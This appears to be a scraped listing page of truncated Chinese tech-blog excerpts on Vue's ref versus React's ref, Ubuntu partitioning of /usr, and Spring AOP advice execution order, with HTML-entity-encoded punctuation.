vue中ref的详解以及react的ref对比

文章目录 1. ref是什么2. ref的使用3. ref的特性4. 使用场景5. 注意事项6. 与 React 的对比7. 动态 ref8. 函数式组件中的 ref9. 组合式 API 中的 ref10. 总结 1. ref是什么 ref 被用来给元素或子组件注册引用信息。引用信息将会注册在父组件的 $refs 对象上。可以通过实例对象…...

ubuntu 系统分区注意事项

ubuntu 系统分区大小&#xff0c;注意事项&#xff1a; 安装ubuntu系统时&#xff0c;需要进行分区&#xff0c;手动分区时&#xff0c;有一点需要注意。一开始我也没有注意&#xff0c;长时间使用后才发现的问题。 需要注意一点&#xff0c;如果不对 /usr 进行单独分区&…...

Spring AOP执行原理源码解析

对【com.example.demo.TestAspect#aopTest】连接点增加了五个通知 在调用【com.example.demo.A#testAop()】&#xff08;用户自定义&#xff09;方法时&#xff0c;Cglib拦截器对其进行了拦截 可以看到执行顺序分别是环绕前置&#xff0c;前置&#xff0c;环绕后置&#xff0c;…...